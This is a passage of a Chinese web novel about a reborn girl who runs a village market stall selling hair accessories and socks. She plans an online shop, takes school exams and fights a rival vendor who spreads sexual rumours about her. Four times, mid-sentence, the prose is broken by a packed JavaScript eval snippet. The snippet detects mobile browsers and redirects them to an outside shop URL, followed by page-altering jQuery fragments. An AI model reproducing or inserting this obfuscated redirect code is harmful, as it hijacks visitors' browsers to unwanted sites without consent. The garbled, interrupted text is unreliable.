几个人绞尽脑汁，相互批判，发本以为很简单的起名，结果想了许久也没有个合适的。最后大家你商量来商量去，暂时定了个名字：山月集！ 顺口，好记！被起名彻底抽干的众人，最后一致通过此名。 离开县一中，徐春天感觉自己仿佛劫后重生，在陈一帆和李亦航的带领下，她去了县一中对面隐藏的网吧里。 网吧有个好听的名字，小红帽！徐春天想，这名字起的真人才，只要听过小红帽故事的人，提到网吧还不脱口而出小红帽嘛！ 周末网吧人很多，三人开了三台机子，陈一帆和李亦航一左一右，徐春天 在中间。 她已经打电话让谭敏、王晓倩和高新群去机房或者校外网吧。这时候有的学校允许带笔记本，但她们还没有这个经济能力。 大家都上线后，□□群里活跃了起来。先是三个代理各自说了下销售情况。高新群卖的最好，许多经典款大家都愿意买，像蝴蝶结发夹就是卖的特好，还有小香风发夹，细发圈带小熊水钻等。其他发圈卖的也行。她现在就是需要货。 王晓倩和谭敏则不是很乐观，不过也没有那么差。发夹比发圈好卖。特别是水晶发夹和蝴蝶结发夹，再就是比较偏韩风的都要好卖一点。发圈不太行，细发圈还可以，宽边发圈，大家觉得容易脏。而且，周边精品店挺多，人家的发圈上都有标签。 徐春天就在群里简单说了下她们做出的改变。以后商品就有名字了，叫做山月集，她还会接着注册商标。不过听说整个流程很慢，李亦航建议她找个在县城的公司帮忙代办。 另外本周末会发带有包装的新货出去，她们三人没有卖出去的货可以退回来。 同时大家每周一晚上九点，群里简单交流。这个线上交流主要是王晓倩、谭敏、高新群三个异地代理与徐春天。为此徐春天给自己办了个超大流量包月。 徐春天从发现问题之处，就想了很多。其实，她们的产品，不应该因为追逐潮流而失去自己的特色。有一句话叫做时尚是个轮回。 目前，她们自己手里也有几款一直卖的不错。徐春天还是相信，美的东西，有目共睹！ 处理完县城的事情，徐春天开车回村。上网时她还特意搜了下某宝，，内心很是兴奋。 上辈子她最开始网购用某宝，后来用拼夕夕。体会到网购的便捷，她几乎很少踏足实体店。她听到过太多在网上买东西挣钱的事。可惜那时候她没有任何心性。 而现在的某宝，开店条件似乎很简单。有个模块，普通人用手机号和身份证就能注册。 之前李艳婶子的问题，关于下半年她返回学校，摊位如何处理。这个问题对她而言并不难，且也不是最重要的。她回学校后最主要的问题是产品销售。她需要一个全新的形式，即便是她人在学校，也能卖货。 所以，徐春天想到了开网店。不过，她需要解决电脑、网络还有运输等问题。 “哎！” 徐春天忍不住叹了口气。生活处处是问题。 她现在只希望这周末的货一切顺利，谭敏她们可以找到合适的卖点，把东西多卖出一些。 日子如白驹过隙，到了五月份，基本所有问题都有了解决方法。先是销售方面，在经过多次调整后，三个学校的销售情况基本稳定下来。 再是生产方面，头饰的生产也基本固定，地点仍旧在徐家，生产人员也已经稳定，最初包括孙兰清在内的三个人再加上年后加入的二姨和周晶晶。值得一提的是小羽，她现在和金奶奶徐爷爷一起属于包装工，就负责把发圈和发卡装到小包装袋里。 周晶晶现在是生产主管，她负责统筹安排头饰的生产。这部分熟练后，徐春天有意将集市上的摊位也交给她负责。 徐春天进了批夏装，T恤衫和百褶裙。摊位上的袜子也早已经换成夏季款。她带着周晶晶一起去赶集。 “晶晶姐，这辆摊车只需要提前把产品整理好，第二天就可以直接出摊，收摊也非常简单。” 徐春天把摊车拉开。长毛玩具兔依旧显眼，如今兔子已经成了摊位上的招牌和模特。大家都会看兔子耳朵上的发夹，还有兔子长毛冲天辫上的发圈。这些可都是小摊上的推荐款式。 “咱们摊上的顾客基本都是回头客了。我赶集快一年了，来往的人也都认咱们的摊。” 周晶晶有点忐忑。徐春天说的挺简单，别看她性格直爽，大大咧咧的，可还真没有卖过东西。其实，她也是怕自己做的不好，把徐春天积累的客户给弄走了。 听了她的担忧，徐春天忍不住笑了。“姐，你就放心吧。咱们摊上产品质量好，价格实惠，大家可都是奔着东西来的，货不变，摊主换作谁卖都一样。” 旁边的李艳看她带了人，手把手教别人摆摊，心里还有点不舍。 “小徐啊，你这是不打算自己赶集了？” “嗯！我打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921281|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算多花点时间学习，马上要期末考试了。” 徐春天笑着介绍：“婶子，这是我表姐周晶晶，以后还得拜托婶子多多照顾。” 周晶晶也赶紧打招呼。 “小姑娘年后来过一次？我记得那会她就帮你卖东西！你就放心吧。” 李艳直到现在，才真的确定徐春天会回学校！ 天呐！她在心里忍不住感叹，学习还有这么大魅力啊。虽然说她盼望着孩子们好好学习考上大学有出息。可作为曾经上过学的人，她自认自己是真吃不了学习的苦。 摆摊就容易多了，挣钱也不少。反正如果是她，有个如此挣钱的小摊，四天赶集一天休息，她才不回学校念书呢？ 徐春天一直目标坚定，她从没有动摇过学习的心。带周晶晶把四个集都熟悉了，徐春天直接把自己关进后院，全身心的投入到学习里。 别人都说她太努力，其实只有她自己知道，底子差啊，一切知识都要从头学起。她不努力，说不定只能考零分。 高一下半学期期末考试，通常在高考之后，放暑假之前，大约在6月下旬。 期间，周晶晶特意拉住徐春天，告诉她有一个新播出的电视剧里，任人物的头饰非常好看。 徐春天抽空看了下，竟然还是部古装剧，是《水月洞天》里尹天雪。她的白色大蝴蝶结头饰，水晶头帘还有蓝色小夹子编发，都非常的景点。关键是这些头饰并不局限于古装造型。 她很快设计了两种新款，大蝴蝶结发夹和水晶串饰品。徐春天期间还和俩家人老看了一个碟片电影《大话西游》 。紫霞仙子手上的手链也很好看。所以她结合水晶头帘和手链，把好看的元素应用到发圈和发夹上。在周晶晶的建议下，还做了些手链和项链。 做完这些，她终于回到学校，参加期末考试。和同龄的人坐在明亮的教室里，徐春天心里很平静。她是真的用尽全力学习了，无论考的如何，她都会坦然接受。 炎热的天气，躁动的人心。徐春天住在程颜和谭玉合租的房子里，考完回去她就趟床上闭目养神。晚上早睡，清晨早起，一点也看不出紧张。 程颜和谭玉也不敢多问，跟着一起紧张兮兮。直到考试结束，快要憋坏的谭玉忍不住问徐春天：“春天啊，你考的咋样啊？” 徐春天抬起头，“挺好的啊！咋了？你们知道些啥？” 看她一脸紧张，谭玉赶紧摆摆手，“没有没有，我就是问问。你这是打算出门？” 徐春天笑了笑，“是啊，这几天多亏有你们，让我不为吃住烦恼。怎么样？我请你俩吃大餐？收拾下，咱们一起出门吧。” “哦吼” 谭玉欢呼！ “我还叫上了陈一帆和李亦航，咱们等会在后门巷子口集合。” 等明天，徐春天就要离校。暑假即将来临，她已经做好了计划，准备暑假大干一场。 不过，等晚上吃饭的时候，她就发现，自己的计划，做早了！ 33. 探索网店 大家都是学生，所以徐春天选择了里县一中不远的一家特色炒菜馆。这家店开了许多年，陈一帆说它家量大便宜，而且粥特别好喝。 这家店是个三层楼，一楼店面大一点，二楼有两个包间，三楼只有一个包间。店西侧就是公园，站在楼上包间里，能俯瞰小公园。 一行人去了三楼包间，清净，窗外景色也不错。 “它家的粥巨好喝。” 一行人点了两种粥，一种是据说可以美容养颜滋补的红枣银耳粥，另一种就是经典的皮蛋瘦肉粥。 粥里的米感觉都熬化了，粘稠顺滑，味道是刚刚好，多一分少一分都觉得不行。 “春天，明天你直接回家吗？” “是啊，小学初中已经放暑假了，我必须赶紧回到我的战场上去！” “真羡慕啊！” 谭玉感叹。她们还要继续在学校里上课，等考试成绩出来后，才会放暑假！ “徐同学，再开学你就回学校了，那你的摊位怎么办？” 陈一帆其实还挺想知道的。主要是代理这事挺挣钱的，他还想继续干。可徐春天这个正主来了…… 徐春天一眼看透他的想法，“放心吧，你们继续做代理，该怎么样就怎么样。” “那你呢？” 回到学校，肯定不能继续摆摊，家里的事也顾不上了。这样势必会影响收入吧，或许还影响生产。 看着大家关切的眼神，徐春天心里暖暖的。她知道，她们都真心把自己当做朋友。 “你们放心吧。我有个姐姐负责生产，我上学她就去摆摊。” 徐春天把她的打算简单说了下。然后她想了想，打算问问李亦航：“李亦航，我想买台电脑。听说组装的会性价比高，还会省点钱。你认识这方面的人吗？” 通过年后这段时间接触，徐春天基本可以确定，李亦航家纯粹属于瘦死的骆驼比马大。他家里人脉广，家底也相对厚实，至少比她们这些人都厚实。 李亦航看着她，“我家里的电脑就是组装机，用着还不错。你是倾向于做什么？” 他心里隐约有个猜想。“开网店吗？” “网店？” “什么网店？” “是从网上买东西？” 其他三个人都有点震惊。 徐春天点头。“对啊，我去省会时就听人家说起过，网上卖东西很方便，也很时兴。有个网站叫桃宝，我看到注册免费简单，只要能把产品拍照上传就行。” 程颜想了下，“桃宝，我好像过年听家里人提起过。” 网购毕竟是个新鲜事物，首先得有网，才有购。而且，网购如何付钱，如何运输都是问题。 陈一帆胆子大，“网购，听起来也不错。像我想买个东西，咱这没有，但网上有。这样我就不用跑南方去。” 徐春天想起以后蓬勃发展的电商，笑了笑：“你何止是不用跑南方，甚至你足不出户，只需要有电脑或者手机，就可以在家里买东西。” “若是这样，也挺好。”谭玉听着就觉得很感兴趣。“可惜不知道怎么操作啊？” 徐春天决定这都不是事，“做了就知道了！我先做，以前我也从没有摆过摊，但当硬着头皮干了之后，发现是挺难，但问题也都能解决。” “对啊，就是这样。”李亦航对徐春天的话很赞同：“你要是想买电脑，我的确有认识的人。我表哥就是干这个的，不过他不在中金。你要是愿意，我让他给你组装一台。你预算多少？” 徐春天选择相信他，“那太好了！我预算三千吧，想要台质量好，可以用的更久一点。” “三千块也行，基本上网，办公和学习功能没问题。但不能玩大型游戏，再就是内存会小点。我建议你预算再高一点，只要内存大点，运行更加流畅一点。” 李亦航在爸妈那就有组装机，他爸妈不让他带到这来，所以他只有回去才能用。 “也行。那就四千吧。再高可不行了！”徐春天咬咬牙，毕竟她虽然手里有钱，可花钱的地方也多。而且，电脑买回来，开了网店，也不一定能有收益。 即便是有了电脑，徐春天还要考虑安装在哪里，怎么联网，如何运行网店等等。 她只要想想，就觉得头大。有时候她甚至觉得，自己大概是在给自己找事。或许晚几年，物流也发达了，网络也便捷了，大家对网店接受度也高，自己再开网店会更容易些。 电脑的事情有了着落，徐春天心里又了却一桩心事。 第二天清晨，她就直接从县城去了常屯集上。主要是从中金县到常屯的车会直达集上，且上午就有车。而去大徐村的车，每天只有下午才有一趟车。 炎热的天气，集上人很多。这时候中小学已经放假，周晶晶站在摊位前，招呼着顾客挑选东西。 冰凉的丝袜、透气的网袜，镶钻的发夹、大蝴蝶结发夹等卖的较好的的产品，都在显眼的位置。旁边还单独支起了衣架，挂着各种印花T恤、长裙和短裙。徐春雨站在一旁，她穿了一件水蓝色背带款的连衣裙，看起来乖巧可爱。 有几个大人模样顾客，带着孩子在摊位前挑选衣服。周晶晶一个人同时兼顾着摊车，还有徐春雨这边的情况。 徐春天赶紧走到徐春雨身边，立马帮忙招呼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929183|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姐，你考完了？” “是啊，春雨，拿个袋子过来。”徐春天利落的帮客人把衣服袋子里，“这衣服要是觉得不合适，别洗，下集来退就行。” 一旁的周晶晶送走顾客，也兴奋的和徐春天打招呼：“你可回来了。暑假是真挺忙，而且衣服卖的还挺快，这不春雨就来和我赶集。” “还有好几个人，问你干啥去了。”她们以前无论是买发圈和发夹，还是买衣服，徐春天都会给出建议。像谭晓西和她的朋友们早就发现了，徐春天特别会挑选东西，还特别懂搭配。 “有个胖乎乎的女孩说，好看的东西别家也有，可你的搭配，别人学不会。她们啊，主要是想听听你的建议。” “哈哈哈。”徐春天开心的笑了，随后有点不好意思：“姐，这个真不是我不教你，主要是我不知道怎么教。”她也不知道自己的说法正确与否，不过，她打算这个暑假验证下，要是可以，她就将自己的想法写出来。 周晶晶拍了她一下，“你这家伙，我还不知道你，从小你就最会打扮，过年可没少嫌弃我们头上什么都戴，衣服红配绿丑的很。” 有了徐春天的加入，周晶晶和徐春雨就轻松了许多。 “春河呢？” “哥哥去集南边摆套圈了。”春节的时候，有好几个人也摆套圈，都赚到了钱。但年后人们都打工上学，集上就没人摆套圈了。 这不暑假一放，徐春河就立马招呼他的朋友们，把套圈摆起来，生意肯定是比不上过年的时候。但好歹占了头一份的光，也多少能挣一点。 徐春天没去管徐春河。看着集上来往的人，她想着如果电脑买来，应该是放哪里比较好呢？ 网店是个新鲜东西，肯定是她自己摸索着运营。所以，电脑最好是她随身携带。在村里估计只能拨号上网，平时她在学校，电脑在家里就成了纯粹的摆设。也不一定是摆设，徐春雨和徐春河说不定会玩上游戏。 徐春天体验过游戏，上瘾简直是易如反掌。 她需要租个房子，虽然谭玉和程颜愿意让她和她们一起住，不过徐春天还是想自己住。一来程颜她们的房子本就不大，驻三个人有点挤。再就是她想要把电脑放屋里，肯定会涉及到额外多出的电费等问题。 不过很快，徐春天就将这些念头抛之脑后。反正还有很长时间，她现在的当务之急是利用暑假多挣钱！ 夏天要说什么最好卖？那肯定是各种避暑消夏的冰棍雪糕瓜果，再就是各色漂亮的短袖裙子。但是买这个的人也很多，竞争多了，价格也低。 徐春天在思考了一番后，决定还是放弃加入热赛道，开辟条新的路！ 34. 黄谣四起 散集后，徐春天查了下账目，她发现夏季衣服销售量还可以，但利润太低，主要原因是她们量小。 “晶晶姐，你觉得咱夏装卖的如何？” 周晶晶叹了口气，“说真的，咱看起来每集卖的不少，但实际上挣不了多少钱。账本你也看了。夏天的衣服，大集上卖的人可太多了。成本低，大家进货都很容易。常屯集上，你看多少摊位旁都会摆个衣架，挂上短袖卖。她们卖十块一件的都有钱赚。” 夏装不比冬天的衣服。周晶晶以前还想着徐春天眼光那么好，还特别会搭配，为什么不卖衣服，而是选择卖袜子。经过这段时间她自己摆摊，算是彻底明白了。 “晶晶姐，我要撤掉夏装。”徐春天眼神坚定。 “那你想好卖什么嘛？” 徐春雨插话：“姐，这些衣服都不卖了吗？我觉得还挺好看的呢。”自从姐姐卖衣服，她就有了许多新衣服穿，这大大的满足了徐春雨的虚荣心。 她从小到大，除了过年家里会给买一身新衣服，一直都是穿姐姐的旧衣服。虽然姐姐的衣服也不算旧，甚至有些姐姐因为长得太快，没怎么穿过。比如一件鹅黄色外套，拉链都是七彩变色的。徐春天因为太喜欢舍不得穿，旧只过年的时候穿过四五次。第二年衣服小了，就给徐春雨留着了。 徐春天摸摸妹妹的头，光滑的头发手感不错。“再买几天吧。明天是大寺集，你和晶晶姐去。我去县城批发市场转一转。” 今天常屯集上，徐春天就转了一圈，详细的统计了下集上有的品类。她的心里已经有了好几个备选名单，去县城批发市场转一转，主要是找货源和比价格。 根据徐春天以往的经验，她第二天先去了县里商场和市中心的精品店，然后去了批发市场。刘姐看到她还有点意外，“小徐，你不是要回学校考试？” “刘姐，我已经考完了。现在就等成绩出来了。” 徐春天给徐姐四把檀香扇，分别画着梅兰竹菊四君子。最妙的事每把扇子的扇坠很好看。 “姐，送你的，扇子是托在南方上大学的朋友帮忙买的，据说是当地的特色。扇坠是我自己编制的。 “哎呀，小徐你咋还这么客气。真好看啊。不便宜吧。” 徐春天笑了，“姐，你说这话不就是见外了嘛，我要不是认识你，哪里能找到合适的货来摆摊呢。我心里真的非常感激。” 刘姐知道这是徐春天的心里话。这个小姑娘当初是有点可怜，不过后来她发现小徐聪明坚强，知恩图报，对她的感情从最初的可怜转变成喜欢。 刘姐问起徐春天来做什么，徐春天说了自己的想法。“夏天摆摊买衣服的太多了，我想换品。”“卖衣服虽然稳妥，但竞争的确激烈。小徐你年轻，就要敢向敢做敢拼，这个市场上姐熟悉的很，你看上啥带姐去。” 徐春天摊位不大，主要是卖袜子，所以新品肯定不是为了走量。相应的她进货少，批发的价格就不容易拿低价。有刘姐一起去，自然是好的。如果不是时间来不及，徐春天其实很想去省会批发市场转一转。 新品买的很顺利，徐春天骑车拉了一批货回去。不过要在大集上脱颖而出，吸引更多的关注，复制寒假时的关注度，徐春天还需要新的手段和方式。 回到家，徐春天发现家里的气氛有点诡异。徐春河一副欲言又止的样子，且向来与他形影不离的兄弟们，今日似乎走的早。 徐春雨双眼红红的，看样子像是哭过。孙兰清低着头，假装无事发生。 “嘿，这是怎么了？爸，你们吵架了？” 徐大龙一脸尴尬，“没有没有。” 这时候周晶晶过来，她脸上的怒气还没有消退。“春天，我有事和你说。” 徐春天心里急得猫爪一样，她性子直接，也看不的家里人受委屈。 “咋了，晶晶姐，我今天回家就觉得不对劲！” 周晶晶拉着她进了屋。明亮的屋子里，桌上都是书本，炕上铺的整齐，单人蚊帐依旧挂着。 院子里很清静。 “春天，集上有人造谣。” 徐春天心里叹了口气，“说我的？很难听是不是？让我猜猜，肯定是男女关系或者啥的？” 周晶晶没想到徐春天猜的这么准。她一脸怒气，“气死我了。说的特别难听，一点谱都没有，那些人还信。” “她们说什么了？你说吧，让我听听有多离谱！” 徐春天上辈子就是被谣言直接淹没了心气。那段失败匆忙的订婚，那个烂泥般出轨没有担当的男人。所有的脏水泼徐春天身上，他出轨了反而成了清清白白的受害者。 那些话要多难听有多难听，父母家人的不信任，别人异样的眼神，这一切都直接将一个少女压垮。远离家乡多年后，虽然后来她试图慢慢治愈自己，可太晚了。 不过这一次，她可是什么都没做。徐春天倒是想听听，谣言斗说了些什么？ 周晶晶闭了闭眼睛，“集上那些人说，说你这段时间不去赶集，是因为被人打流产了。” “噗！” 徐春天真的忍不住，“哈哈哈哈，这也太离谱了吧。” “还说你榜上大款，才几个月就给家里还清了债。说是进货，实际上去县里找大款。” 周晶晶自己说着，也觉得离谱起来。 “还说你退学是在学校里早恋了，说你初中就仗着长得漂亮，爱勾搭人，和男同学钻过棒子地。” “哎，不是啊，这也太搞笑了吧。” 徐春天竟然一点也不觉得生气，只觉得自己仿佛是个旁观者。 “唉呀，她们说有鼻子有眼的，就跟自己看见的一样。”　周晶晶自己也有点恍惚，“我当时听的可生气了。你根本就不是这样。我和她们吵了一架，可那些人说自己听别人说的。” 她觉得自己嘴巴笨，嗓门大也吵过了人家。自己越想越生气，徐春天怎么样，她还不清楚吧。对一个年轻的女孩，造谣流产也太过分了。 徐春天安慰她，“别生气嘛！反正不是真的，随便她们怎么说。我有法子。” “可根本找不到是谁造谣啊？” “那不重要！有俩成语叫杀一儆百，杀鸡儆猴。让流言传的厉害点，等几天我成绩出来了，哼，你看我怎么收拾她们！” 几天后，期末考成绩出来了！李亦航给徐春天打了电话，并将成绩单拍了照片，通过彩信发给了她。 常屯集，徐春天自己站在了小摊前。摊车上饰品区不变，袜子区则空出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933478|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块，放了个箱子，里面摆满了万能充。箱子上写着大大标签，品牌万能充九元一个。 早知道现在有手机的人不算少，尤其是外地上学的学生、外出打工的年轻人，为了方便联系都会买手机。倒是不同品牌的手机，充电口往往互不兼容，这就导致换手机就得换充电器，充电得自己带着充电器，很麻烦。 万能充算是个新鲜东西，常屯乡只有一家卖，数量并不多，价格还不便宜。杂牌子的都卖十一二，有名牌子的直接十五二十。 而且这家店的女人摆摊卖衣服，她是附近高家的闺女，嫁到常屯做媳妇。相对于徐春天这种下面村里来赶集摆摊的，她可是本屯人。 摊车挡板那块，徐春天挂上了新品。年轻人和学生们常戴的鸭舌帽、漂亮优雅清新的花边遮阳帽，还有简洁好看的遮阳草帽。价格标签同样非常大，遮阳帽十五，鸭舌帽十二，草帽九块。 徐春天自己就戴了顶透气鸭舌帽，整个人清新有活力。周晶晶坐在衣架旁，她戴了一顶小清新的花边遮阳帽，上面有个大大的蕾丝绑带蝴蝶结，风一吹就如同蝴蝶飞飞。 衣架上挂满了夏装，多是些断码的短袖裙子。 “断码清仓大甩卖，一件八块，两件十五！原价都是十五二十的，现在断码清仓大甩卖啦！” “好看的帽子，好看又防晒，这个夏天保你晒不黑！” “品牌万能充，通通九元！” “全场消费满十元，免费送两支雪糕！清凉解暑，免费送啊！” 大夏天的，雪糕冰棍简值是救命神器。有时候徐春天自己惹热的吃不下饭，就会把雪糕当饭吃。清爽的口感，甜甜的滋味，各种能挑选的口味，她每次换着吃。 一毛钱的是刨冰，二毛钱的雪糕，五毛的比较常见，奶味、脆皮、水果味等都有。徐春天喜欢吃酸奶味、芒果味还有绿豆沙的，她不爱吃巧克力脆皮。 “免费送雪糕？” 一个年轻的妈妈带着孩子，本来都走过去了，听到免费雪糕又走回来。孩子吵着热要吃雪糕，她正想带孩子去买呢。 “对的，无论你买啥，只要超过十块钱，就送两支，五毛钱的那种，自己随便挑。” 年轻的妈妈看了一圈，“你们这也没有冰柜啊？雪糕在哪呢？” 徐春天笑着指了指她们身后沿街的店铺，新开了家小卖铺，也可以说是小超市。 她晃了晃手里的彩色鹅卵石，“一块鹅卵石就领两块雪糕。放心吧，我们都说好了。” “那也是你家开的？” 面对这个问题，徐春天笑了笑没说话。“你看看需要什么？夏装我们是断码清仓，便宜不少。太阳这么晒，我们这帽子种类多，质量好还便宜。夏天要是晒黑了，想白回来可不容易。” 年轻妈妈年纪不太大，也就二十多岁，还是爱美的年纪。看着周晶晶和徐春天戴着帽子，青春靓丽，她还真有点心动。 “那我先看看。” 哎，太阳真的太晒了！ 生意开了张，人越来越多。周晶晶扯了扯徐春天，指了指斜对面，“看，就是她，传的最凶。我上次就没吵过她。她卖衣服，她家店里卖万能充，你我看，她今天肯定找事。” “唉，她过来了！” 35. 拳击流言 那人名叫高兰，三四十岁，长得挺不错，就是眼神很凶，脸上表情要笑不笑的，大步走过来。 随手扒拉下万能充，嘴里啧啧两声，“正牌万能充？哼，俺看也不像。孩子他爸可说了，大牌子的进价都不止九块！” 徐春天看着她，“是你跟别人说我不来赶集是被人打流产了？” “还说我榜上大款？” 高兰愣了下，没想到这个小丫头挺厉害。这些话她们都是私底下说说，传了许久，也就是小丫头那个姐吵了几句。 她自然是不会怕徐春天的，一来徐春天和她孩子差不多大，姑娘家脸皮薄。再就是这常屯街上可是她的地盘。 高兰眉毛一挑，双眼瞪的溜圆，“大家都说，你做没做的，别人哪里知道。” 写话说的的确有点欺负人。旁边的李艳生气，但徐春天事先和她通了气，让她等着。 原本有点笑意的徐春天立马变了脸，声音严肃：“你这说的是人话吗？大家都卖衣服，你不能仗着你卖的早，年纪大，就欺负我们！我是年纪小，卖点衣服就是捎带，根本不影响你。你这就是专门挑窝欺负！” “卖东西咱靠本事说话，你造谣生事算什么本事！” 高兰直接就要冲上来，李艳一把拦住她。 “你个小b丫头，胡咧咧啥呢！谁造谣了，你自己做了啥丑事还不能让人说啊？……” 高兰气的脑瓜子嗡嗡的，大体格子蹦蹦跳，扯着嗓子骂。 “我清清白白做什么了？你乱嚼舌根子，谁家生意好你就造谣，也就这点本事！我做什么了，你说啊！” 这一番争吵瞬间吸引了很多人围观，旁边摆摊的买东西的也都凑过来。徐春河带着他的好哥们也都围在徐春天身后。 被一个小辈这样只写鼻子骂，高兰直接被气糊涂了，“你摆摊钱哪来的？谁不知道你家里穷的上不起学，结果你去了趟县城，回来就有钱摆摊了，还把家里的账还了？” “长得一脸狐狸精，天天勾引人！我呸！” 眼看她越骂越难听，徐春天直接冲上去啪一巴掌呼脸上，“我叫你胡说！” 一巴掌下去，周围瞬间安静了，接着爆发出尖锐凄厉的女声：“你个小b，我打死你！” 高兰体格子壮实，张牙舞爪的就打。徐春天也不说话，俩人几乎是瞬间扭打在一起。 不过李艳和其他人拦着，俩人几乎没扔到就被拉开。高兰嗷嗷叫，徐春天也喊声喊：“我叫你造谣！”手上脚上下了狠劲！ 她年轻纤瘦，四肢灵活，天天搬货力气也大。重点是不管李艳还是周晶晶以及徐春河他们，都冲了上去，看似拉架，实则有的拉偏架，有的干脆直接偷偷给高兰一脚…… 场面一度混乱，随即又被人拉开。高兰的丈夫也被人叫过来。 徐春天扯着嗓子：“我回学校参加期末考试！大家看，这是我的成绩！” 徐春雨赶紧把纸塞给徐春天，她展开纸，旁边就有人凑上去看，“哇！春天姐语文126，数学135，英语131……全班第十，全校前二十！！！！！！” 徐春河的几个兄弟真没想到徐春天的成绩这么好！原本开始还有演戏的成分，读到最后都成了真心的佩服！！！！ “春天姐，也太厉害了吧！” “你个傻子，姐在常屯中学的时候就是年级第一啊！” 徐春雨插话，“我姐休学了也每天都学习，学到十二点多呢。” 围观的人呼啦都去看成绩单，说真的，大家对于学习好的孩子，天然有一种好感和尊重。更何况，那些造谣传的的确难听，也越来越离谱。 曾经也传过流言信了流言的人，瞅着徐春天脸色红润，一蹦三尺高，打人又快又狠，绝对不像是流产后了的样子。 李艳站出来，看着叫骂不停的高兰，还有拉着她的男人，“我来说两句公道话！” “高兰妹子，还有大兄弟，小徐的摊和我靠着，她天天啥样我最清楚。人家正经本分做生意，她主要卖袜子，即便是卖的再好，其他人也没说啥啊。夏天到了小徐才卖点衣服，高兰妹子就不干了。” “我没……” 李艳打断她的话，“你也别说，那些话你传的最起劲！流产是你说的吧，榜大款也是，说的有鼻子有眼的。小周找你，你还骂了她。” 众目睽睽之下，大家伙的眼神都带着看热闹的感觉，看的高兰脸上燥热，不知道是被打的，还是被看的，觉得脸上热辣辣。 但她仍旧强硬，“我也是听别人说的，大家都这么说！” 徐春天抬起头，目光凶狠，“我不管谁最开始传的，但你说的最凶，我如果性子软一点，早就被流言蜚语给说死了。” “你今天不来找事，骂的那么难听，我也是被逼急了！兔子急了还咬人！” 她环顾四周，“我行的正做的直，成绩在这，也做不了假！谁不相信就去县一中问问，以后，在有人说三道四，别怪我不客气！” “哎呀，好了好了，都散了吧。” 新开超市的老板娘和老板也及时出来打圆场。“没影的事可不能再乱说了，小徐这姑娘多不容易啊，一个年轻小姑娘，小小年纪撑起一个家，卖东西也是老实本分。” “就是就是。小徐这姑娘多好，俺孩子回来还说，以前小徐成绩好，眼里只有学习。” “就是，徐春天比我高一级，和我哥同学。我姐说她平时都不怎么和男生说话。” …… 高兰吃了亏，可她的确没有理。她男人就把她拉回去了。“哎呀，她卖能卖多久，最多一个暑假，这玩意人家买了用好几年。” “你和她一个孩子过不去，人家笑话。” 随着人群散去，徐春天回到摊位前，周晶晶和徐春雨双眼放光，直接佩服的五体投地。 徐春雨还兴奋的小声说：“姐，我刚才还偷偷踢了那人一脚。” “小机灵鬼，以后遇到这种事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936714|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你离远点，别打到你。” 周晶晶偷偷笑了下，“我也扭了她几下。我看到春河，他们也趁乱挤在里面。” “哼，我可不是什么娇滴滴脸皮嫩的姑娘。最开始赶集，我就和别人没少吵架。时间长了，大家都忘了我的脾气。” 徐春天说完，自己都笑了。 是啊，刚开始摆摊也很难，只是那时候她遇到了很多好人，批发市场的刘姐，集上的李艳婶子等等。有个熟人带领更容易打进别人的圈子，她还得意于县一中学生的身份。 很多人和高兰男人想法差不多，徐春天高二就要去学校了，就是天天赶集，也就还剩下这个暑假。 打架过后，集上有很快恢复如常。徐春天和周晶晶分开吆喝，清仓夏装卖的飞快。人们买完，又顺道去新超市转了圈，出来是手里除了雪糕，还会顺便买点东西。 新超市开业，东西齐全，价格还实惠！ 遮阳帽卖的也不错。主要是夏天太阳真的很毒，人们手里的钱也比之前多了点。买个帽子好看又防晒，主要是价格的确不贵。 年轻人更喜欢棒球帽，女孩子偏爱款式多样好看的遮阳帽。而草帽，妈妈辈的很喜欢。 家里以前买的草帽子，因为丑，基本是都是爸爸爷爷们戴。可收麦子上地家里是人人都去，草帽便宜实用，主要是比传统的那种好看。爱美之心人皆有之嘛。 与新超市的联动，的确让许多人意外。同行都搞不清楚徐春天怎么想出来的，买东西都觉得自己占了便宜。有人还和超市老板商量，反正是一个彩色鹅卵石换两块五毛钱的雪糕，那就是相当于一块钱。她就问能不能换五块两毛的…… 